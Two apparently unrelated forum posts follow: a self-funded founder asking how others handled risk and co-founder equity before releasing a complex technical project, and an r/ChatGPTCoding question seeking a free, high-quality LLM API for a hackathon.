I’m contemplating bringing a CTO co-founder on board on an equity basis for that piece of mind and to assist me with what has become a great but complex piece of machinery.

Has anybody else been through this?

How did you handle risk reduction? I’ve done everything that I can think of and hardened my privacy policy, T&C’s, Beta agreement. All of the things that I can think of to release this responsibly.

I guess I just thought that I’d see if anybody else has released a technical project such as this. It’s entirely self funded, so I can’t really spend thousands at this point on pentesting.


r/ChatGPTCoding 2d ago

Discussion Best genuinely FREE LLM API that's actually close to Claude-level?

0 Upvotes

Guys I’m building a project for a hackathon and I need an LLM API.

I’m specifically looking for:

  • genuinely free API (not $5 credits / trial)
  • good reasoning + coding
  • preferably Claude Sonnet/Opus-level or as close as possible
  • decent rate limits
  • API key available for students/hackathon use
  • OpenAI-compatible would be a huge plus

I’ve already looked at Gemini, Groq, OpenRouter free models, Ox Alpha/GLM, etc., but most either have pretty low limits, aren't actually free, or aren't close enough in quality.

What are you guys using right now in August 2026?

I’m completely fine with a less popular provider/model if it’s genuinely good.

Bonus points if it’s good at coding/agentic tasks. 🙏